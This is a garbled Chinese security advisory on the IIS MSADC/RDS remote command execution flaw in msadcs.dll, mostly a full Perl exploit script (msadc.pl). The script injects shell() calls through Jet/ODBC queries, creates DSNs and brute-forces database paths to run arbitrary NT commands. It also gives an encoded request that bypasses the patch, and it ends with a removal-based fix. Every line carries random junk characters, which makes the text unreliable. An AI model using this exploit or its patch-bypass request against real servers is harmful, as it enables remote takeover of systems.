IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
K dm5O@tq Ysu/7o4 涉及程序：
1tW:(~ =a; Microsoft NT server
Z&,}Fgl!F ) v~]lk,o 描述：
I.!/R` 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
Vm.@qO*= O WsYE? 详细：
3G^Ed)JvE 如果你没有时间读详细内容的话，就删除:
Z > =Y c:\Program Files\Common Files\System\Msadc\msadcs.dll
n bk(F D6 有关的安全问题就没有了。
K8Zk{on U.OX*-Cd 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
(N4(r<o; BtChG] N| 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
G`"Cqs< 关于利用ODBC远程漏洞的描述，请参看:
Hw &M2a -QDgr`%5 http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 8[;oUVb5 &,]+ > 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
Xkom@F~] http://www.microsoft.com/security/bulletins/MS99-025faq.asp Q%Q?q)x om?CF l 这里不再论述。
g/p9"eBpq /}_c7+// 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
\[1CDz=}1 C) s1'
=TZ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
ZGhoV#T@ 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
+z0}{,HX a <TL& + t4m\/y #将下面这段保存为txt文件，然后: "perl -x 文件名"
**w~ 5KE%@,k k #!perl
Gc z@ze #
/? 1Yf # MSADC/RDS 'usage' (aka exploit) script
ok%!o+nk. #
N09+id g # by rain.forest.puppy
lFGxW 5 #
)=nPM`Jn. # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
a9zph2o-
# beta test and find errors!
O) %kl (!5}" fj use Socket; use Getopt::Std;
l~TIFmHkh% getopts("e:vd:h:XR", \%args);
ESjJHZoD( sJK:xk.6! print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
#r)1<}_e# ~Z6p3#
!o if (!defined $args{h} && !defined $args{R}) {
Ny,A#-? print qq~
Bye@5D Usage: msadc.pl -h <host> { -d <delay> -X -v }
Bi :wP/>v -h <host> = host you want to scan (ip or domain)
VfqY _NmgC -d <seconds> = delay between calls, default 1 second
w <>6>w@GZ -X = dump Index Server path table, if available
" IkF/ -v = verbose
bSR+yr'? -e = external dictionary file for step 5
[2 w <F[ ) v5n "W Or a -R will resume a command session
3J~kiy.nfW [S&O-b8A ~; exit;}
Am%a4{b w[7.@ %^[ $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
|+xtFe if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
Q=L$7 if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
ElR&scXi__ if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
vs])%l%t $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
x$?7)F&z if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
-C-OG}XjI hf+/kc!>i if (!defined $args{R}){ $ret = &has_msadc;
T19 rbL_ die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
`TD %M`a t#pqXY/;D print "Please type the NT commandline you want to run (cmd /c assumed):\n"
+V);' "L . "cmd /c ";
w^rb|mKo $in=<STDIN>; chomp $in;
)Z8"uRTb0 $command="cmd /c " . $in ;
B?lBO
V4v4
J"Y if (defined $args{R}) {&load; exit;}
3pTS@ yg-FJ/
print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
$mI:I m`s &try_btcustmr;
y }&4HrT& g"!#]LLe print "\nStep 2: Trying to make our own DSN...";
|
2.e0Z]k &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
]Z$TzT&@% NM1cyZ print "\nStep 3: Trying known DSNs...";
mzV"G>,o &known_dsn;
eN| HJ= 3:~l2KIP4 print "\nStep 4: Trying known .mdbs...";
2c"N-c&A &known_mdb;
przubMt ( U(/ C5' if (defined $args{e}){
N(_
.N6 print "\nStep 5: Trying dictionary of DSN names...";
_<%\ h?W$ &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
Z(LxB$^l[ ~N{_N95!2@ print "Sorry Charley...maybe next time?\n";
YV1a 3 exit;
,a9D~i 9R uP(B<NfL:' ##############################################################################
k_K,J 6_) $#G6m`V sub sendraw { # ripped and modded from whisker
/zl3&~4 sleep($delay); # it's a DoS on the server! At least on mine...
4/HY[FT my ($pstr)=@_;
k(-Z@ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
@~$F;M=.* die("Socket problems\n");
N#RD:"RS! if(connect(S,pack "SnA4x8",2,80,$target)){
'NT#(m% select(S); $|=1;
pcRF: ~TE print $pstr; my @in=<S>;
h9<mThvgn select(STDOUT); close(S);
Dm|gSv8d, return @in;
om ".j } else { die("Can't connect...\n"); }}
^ o $W &Rt+LN0qB0 ##############################################################################
MtZt8s FX|0R#4vm sub make_header { # make the HTTP request
?JXBWB4 my $msadc=<<EOT
*=$[}!YG POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
OH$ F >wO User-Agent: ACTIVEDATA
gro7*< Host: $ip
C
'B4 mmC Content-Length: $clen
W>p\O9BG Connection: Keep-Alive
:S QDqG wUZQB1$F ADCClientVersion:01.06
ERp:EZ' Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
(j8GiJ]{L, !sg%6H?} --!ADM!ROX!YOUR!WORLD!
jo,6Aog|u Content-Type: application/x-varg
Po Yr:=S? Content-Length: $reqlen
\g~ws9'~ eZ!yPdgy| EOT
2UU 2Vm_6 ; $msadc=~s/\n/\r\n/g;
?- pxte8 return $msadc;}
NniX/fk ,pDp>-vI% ##############################################################################
Q?*
n u E z6 p#fsD sub make_req { # make the RDS request
]~?S~l% my ($switch, $p1, $p2)=@_;
D-Bv(/Pz]$ my $req=""; my $t1, $t2, $query, $dsn;
CCuxC9i7 ,(j>)g2Ob if ($switch==1){ # this is the btcustmr.mdb query
vx04h ~ $query="Select * from Customers where City=" . make_shell();
#C"7
l6'a $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
H,(F1+~d $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
- ,R0IGS jv*Dg ( elsif ($switch==2){ # this is general make table query
f|X[gL,B $query="create table AZZ (B int, C varchar(10))";
IM[54_I $dsn="$p1";}
8BHL Ezi' 2Sc elsif ($switch==3){ # this is general exploit table query
Vn)%C_-]A $query="select * from AZZ where C=" . make_shell();
jZa25Z00 $dsn="$p1";}
hA@zoIoe D35m5 +=I elsif ($switch==4){ # attempt to hork file info from index server
jz
%;4e~t $query="select path from scope()";
'/ Cg*o/ $dsn="Provider=MSIDXS;";}
p:Iw%eZ: ,`D/sNP ,q elsif ($switch==5){ # bad query
4 0 A&#u9o $query="select";
/r>IV`n{ $dsn="$p1";}
j?=V tVP Er`TryN|} $t1= make_unicode($query);
cE^kpnVq|< $t2= make_unicode($dsn);
]9fS@SHdx $req = "\x02\x00\x03\x00";
_i-\mR_~ $req.= "\x08\x00" . pack ("S1", length($t1));
SxM xe,.| $req.= "\x00\x00" . $t1 ;
w-J"z C $req.= "\x08\x00" . pack ("S1", length($t2));
7Aqn[1{_O $req.= "\x00\x00" . $t2 ;
*:?QB8YJ $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
-y%QRO( return $req;}
/d[Mss Pl_^n Fm0 ##############################################################################
!s yU]Yk :){)JZ}-95 sub make_shell { # this makes the shell() statement
{!lNL[x return "'|shell(\"$command\")|'";}
J(4g4? uG4$2 ##############################################################################
_jW>dU ^B w_\nB}_ sub make_unicode { # quick little function to convert to unicode
P%iP:16 my ($in)=@_; my $out;
? 'Cb-C_ for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
Hyf"iYv+ return $out;}
'[%jjUU # ?_#!T| ##############################################################################
wXz\N GW ' gYg~= sub rdo_success { # checks for RDO return success (this is kludge)
># I NEO my (@in) = @_; my $base=content_start(@in);
;"D~W#0-v if($in[$base]=~/multipart\/mixed/){
)Q~C4 C-j return 1 if( $in[$base+10]=~/^\x09\x00/ );}
lHcA j{6 return 0;}
w:v=se"U E!uJ 6\ ##############################################################################
b(/j\NWC Mw+v"l&mU sub make_dsn { # this makes a DSN for us
sp^Wo7&g my @drives=("c","d","e","f");
5lGQ#r print "\nMaking DSN: ";
[O (m/ foreach $drive (@drives) {
|88CBiu} print "$drive: ";
GKCM|Y my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
Oc #>QZ3 "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
>:A<"wZ . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
=)(0.E $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
P:qz2Hw return 0 if $2 eq "404"; # not found/doesn't exist
JwB"\&'1ZS if($2 eq "200") {
pzi q0 foreach $line (@results) {
"w9`cz9a~J return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
Yc|uD-y } return 0;}
5\xr?`VZ (#If1[L ##############################################################################
MF^_ Z3GS' =MxpH+spI sub verify_exists {
VNO'="U my ($page)=@_;
v$;@0t:;# my @results=sendraw("GET $page HTTP/1.0\n\n");
St+ "ih% return $results[0];}
g>yry}>04% 8TW5(fl ##############################################################################
#~S>K3( i-]U+m* sub try_btcustmr {
TtZ}"MPZ my @drives=("c","d","e","f");
$~G@ my @dirs=("winnt","winnt35","winnt351","win","windows");
O5M2`6|As NJm-%K foreach $dir (@dirs) {
YQYX, b print "$dir -> "; # fun status so you can see progress
.;g}%C foreach $drive (@drives) {
lov%V*tL print "$drive: "; # ditto
?2ItTrlB $reqlen=length( make_req(1,$drive,$dir) ) - 28;
6} #"qqnx $reqlenlen=length( "$reqlen" );
4gb'7' $clen= 206 + $reqlenlen + $reqlen;
lm*g Gy1i Fm5Q&'`l my @results=sendraw(make_header() . make_req(1,$drive,$dir));
o,*= $/or if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
U <rI!!# 9 else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
P$OUi!" Bzw19S6y ##############################################################################
<h@]Ri \7 Gz\=\LR sub odbc_error {
5z Kqb my (@in)=@_; my $base;
nmg {%P my $base = content_start(@in);
03_pwB)^ if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
j8a[
( $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
c 0ZaFJ $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
=k_UjwgN^ $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
V&iS~V 0. return $in[$base+4].$in[$base+5].$in[$base+6];}
1'fb
@vO print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
V^sc1ak1Q print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
ZLrHZhP-+ $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
)i-gs4[(QN *)D1!R<\,R ##############################################################################
9go))&`PJL Y[um|M315 sub verbose {
F>-}* o my ($in)=@_;
3AeH7g4< return if !$verbose;
b 4OnZ;FI print STDOUT "\n$in\n";}
.&|L|q} |r !G, ##############################################################################
<u0,Fp kceyuD$3G sub save {
2(+P[( N1, my ($p1, $p2, $p3, $p4)=@_;
12O lrU open(OUT, ">rds.save") || print "Problem saving parameters...\n";
(w$'o*z;( print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
$3\,h; y close OUT;}
+`}o,z/^ T5e^J" ##############################################################################
! 8/gL [.-a$J[4+F sub load {
0T9. M( my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
;;Tq$#vd open(IN,"<rds.save") || die("Couldn't open rds.save\n");
|,sM ST% @p=<IN>; close(IN);
Nw pS)6<- $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
-N# #w= $target= inet_aton($ip) || die("inet_aton problems");
-_>.f(1 print "Resuming to $ip ...";
I`^Y Abnb $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
U=m=1FYaG if($p[1]==1) {
wOg,SMiq $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
Uk'U?9O $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
A[JM4 x
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
D#0O[F@l## if (rdo_success(@results)){print "Success!\n";}
yU_9a[$V else { print "failed\n"; verbose(odbc_error(@results));}}
;?~
9hN! elsif ($p[1]==3){
.8H}Lf\ if(run_query("$p[3]")){
u)~s4tP4 print "Success!\n";} else { print "failed\n"; }}
x~+-VF3/ elsif ($p[1]==4){
>r}Vf9 5[N if(run_query($drvst . "$p[3]")){
(U9a@ 1 print "Success!\n"; } else { print "failed\n"; }}
KB[QZ`"%! exit;}
Uw <{ i hY=I5[* ##############################################################################
XU9'Rfp 0roCP =; sub create_table {
hW'
HT my ($in)=@_;
!^v\^Fc $reqlen=length( make_req(2,$in,"") ) - 28;
6 Xa.0(h $reqlenlen=length( "$reqlen" );
_tWE8 r, $clen= 206 + $reqlenlen + $reqlen;
}N,>A-P my @results=sendraw(make_header() . make_req(2,$in,""));
m
=k%,J_ return 1 if rdo_success(@results);
(oYW]c}G, my $temp= odbc_error(@results); verbose($temp);
6N3@!xtpi return 1 if $temp=~/Table 'AZZ' already exists/;
'{VM> Q return 0;}
1VLLo~L % [hnK/4! ##############################################################################
oD0EOT/E <'2u
a sub known_dsn {
&yLc1#H # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
H.~bD[gA my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
2 ~-( A "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
_6rKC*Pe1 "banner", "banners", "ads", "ADCDemo", "ADCTest");
ps+:</;Z M&[b.t* foreach $dSn (@dsns) {
H \+-cvl print ".";
Le&;g4% next if (!is_access("DSN=$dSn"));
eP= j. $ if(create_table("DSN=$dSn")){
^:z7E1 ~ print "$dSn successful\n";
&t6Tcy if(run_query("DSN=$dSn")){
A.U'Q| print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
=]b9 X7} print "Something's borked. Use verbose next time\n";}}} print "\n";}
)U5u" ]9~ 7$_
:sJ ##############################################################################
TzrW kl<g;3 sub is_access {
nh;y:Bi my ($in)=@_;
0N5bPb $reqlen=length( make_req(5,$in,"") ) - 28;
SRWg[H $reqlenlen=length( "$reqlen" );
u[EK#% $clen= 206 + $reqlenlen + $reqlen;
"L@g3g?|` my @results=sendraw(make_header() . make_req(5,$in,""));
j^ I!6j=ZX my $temp= odbc_error(@results);
'!@A}&] verbose($temp); return 1 if ($temp=~/Microsoft Access/);
?i%nM lcc return 0;}
UR,?! rJ^B zq=&4afOE ##############################################################################
UN( 3i(d Bac| ;+L~L sub run_query {
5L 3{w+V my ($in)=@_;
# JFYws $reqlen=length( make_req(3,$in,"") ) - 28;
KBj@V6Q $reqlenlen=length( "$reqlen" );
g]4y AV<2 $clen= 206 + $reqlenlen + $reqlen;
,!H\^Vfl my @results=sendraw(make_header() . make_req(3,$in,""));
rXDJ:NP return 1 if rdo_success(@results);
2-7Z(7G{ F my $temp= odbc_error(@results); verbose($temp);
b "3uD` return 0;}
tvCcyD%w G<fS ( q ##############################################################################
#/s7\2 kyu2)L2u sub known_mdb {
"$P'Wv my @drives=("c","d","e","f","g");
P
eHW[\) my @dirs=("winnt","winnt35","winnt351","win","windows");
ydyG}XI7V my $dir, $drive, $mdb;
UQnBqkE my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
F {/>u(@3 R . O # this is sparse, because I don't know of many
Cy6%S).c my @sysmdbs=( "\\catroot\\icatalog.mdb",
0}D-KvjyP "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
z2v<a{e "\\system32\\certmdb.mdb",
WV@X @]U "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
n fa_8 W7$s5G, my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
gY%OhYtF2 "\\cfusion\\cfapps\\forums\\forums_.mdb",
VZTmzIk.Y "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
@ "0uM?_)- "\\cfusion\\cfapps\\security\\realm_.mdb",
/B h > "\\cfusion\\cfapps\\security\\data\\realm.mdb",
#1B}-PGCm "\\cfusion\\database\\cfexamples.mdb",
G"{4'LlA "\\cfusion\\database\\cfsnippets.mdb",
v`
$%G "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
S7Znz @ "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
df^0{gNHx "\\cfusion\\brighttiger\\database\\cleam.mdb",
m^'~&!ba "\\cfusion\\database\\smpolicy.mdb",
K[e`t%2_ "\\cfusion\\database\cypress.mdb",
gt~9"I "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
\zBd<H4S: "\\website\\cgi-win\\dbsample.mdb",
VZHr-z$6n "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
Qg[h eND "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
UmYD ] ); #these are just
z1kBNOr foreach $drive (@drives) {
Gl.?U;4Z foreach $dir (@dirs){
'y< t/qo foreach $mdb (@sysmdbs) {
4{Q$!O> print ".";
pa> p% if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
:,jPNuOA print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
q)NXyy4BT if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
E1#H{ )G print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
cT\O v
P*_ } else { print "Something's borked. Use verbose next time\n"; }}}}}
5QKRI)XpZ [?A&xqO3 foreach $drive (@drives) {
:D DO= foreach $mdb (@mdbs) {
qI(W$ print ".";
S> .q 5 if(create_table($drv . $drive . $dir . $mdb)){
?0 HR(N(z! print "\n" . $drive . $dir . $mdb . " successful\n";
%B[YtWqm`/ if(run_query($drv . $drive . $dir . $mdb)){
BO[+E ' 2 print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
? ){0-A4 } else { print "Something's borked. Use verbose next time\n"; }}}}
2@rp<&s }
Rk}\)r\ >9 q]> fJ ##############################################################################
}*0,>w> G}182"#4 sub hork_idx {
GVeL~Q print "\nAttempting to dump Index Server tables...\n";
B. V?s,U print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
4 U3C~J $reqlen=length( make_req(4,"","") ) - 28;
k&WUv 0 $reqlenlen=length( "$reqlen" );
9
aY'0wa $clen= 206 + $reqlenlen + $reqlen;
H~~7~1"x my @results=sendraw2(make_header() . make_req(4,"",""));
P;^y|0N m if (rdo_success(@results)){
NKR aQ r my $max=@results; my $c; my %d;
MomLda
V9Q for($c=19; $c<$max; $c++){
VE L:JsY $results[$c]=~s/\x00//g;
s.f`.o $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
<sm#D"GpP $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
TFAYVK~ $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
5T~3$kuO $d{"$1$2"}="";}
Rbx97(wK foreach $c (keys %d){ print "$c\n"; }
2b; rr } else {print "Index server doesn't seem to be installed.\n"; }}
kEp.0wL' eKL ]E! ##############################################################################
~sZqa+jB0 Is4%}J!8 sub dsn_dict {
]ev *m&O open(IN, "<$args{e}") || die("Can't open external dictionary\n");
8dV.nO while(<IN>){
OAmES;Ck$( $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
5oVLv4Z9u next if (!is_access("DSN=$dSn"));
k\sc }z8X if(create_table("DSN=$dSn")){
aQz|!8Is print "$dSn successful\n";
TX< e_[$\ if(run_query("DSN=$dSn")){
*54>iO-
c print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
CnxK+1n l print "Something's borked. Use verbose next time\n";}}}
9V|E1-")E print "\n"; close(IN);}
+P>Gy`D 9 `'z(--J}` ##############################################################################
!7 ei1 Y}AmX sub sendraw2 { # ripped and modded from whisker
)2iM<-uB sleep($delay); # it's a DoS on the server! At least on mine...
W,QnU d'N my ($pstr)=@_;
`,F&y{ A socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
utYnaeQcn die("Socket problems\n");
y #hga5 if(connect(S,pack "SnA4x8",2,80,$target)){
i_j9/k print "Connected. Getting data";
KzE uPJ ? open(OUT,">raw.out"); my @in;
tQNk=}VR7r select(S); $|=1; print $pstr;
!^c:'I>~ while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
.`oJc J close(OUT); select(STDOUT); close(S); return @in;
nz ,Mqol } else { die("Can't connect...\n"); }}
\_m\U.* zWC W: dI ##############################################################################
oV0LJ% 3v8V*48B$ sub content_start { # this will take in the server headers
6F |Hg2tpz my (@in)=@_; my $c;
-mev%lV for ($c=1;$c<500;$c++) {
0EL\Hd if($in[$c] =~/^\x0d\x0a/){
p)?qJ2c| if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
fe&
t- else { return $c+1; }}}
*G%1_ return -1;} # it should never get here actually
<7_ |Q / |4Q9= ##############################################################################
^ l]]qdNr J~_L4* Jw sub funky {
QLn5#x~xb my (@in)=@_; my $error=odbc_error(@in);
R9b/?*%=9 if($error=~/ADO could not find the specified provider/){
i Q]T+}nn_ print "\nServer returned an ADO miscofiguration message\nAborting.\n";
|' V<>v.v exit;}
2ru*#Z#( if($error=~/A Handler is required/){
l>3M|js@/ print "\nServer has custom handler filters (they most likely are patched)\n";
]Ks]B2Osz exit;}
TTA{#[=7 if($error=~/specified Handler has denied Access/){
8{}Pj print "\nServer has custom handler filters (they most likely are patched)\n";
,\sR;=svK exit;}}
W%Y.SP$Y J[j/aDdP ##############################################################################
vh1
Ma<cx cM> G>Yzo sub has_msadc {
W,9k0t my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
ugIm :bg& my $base=content_start(@results);
_/QKWk&j return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
Z`- )1! return 0;}
,mO(!D 0UM@L
}L ########################
~.PPf/
Z8] t7 C!}'g&' ! ^Z[z[ 解决方案：
(]zl$*k 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
sx)$= ~o 2、移除web 目录: /msadc
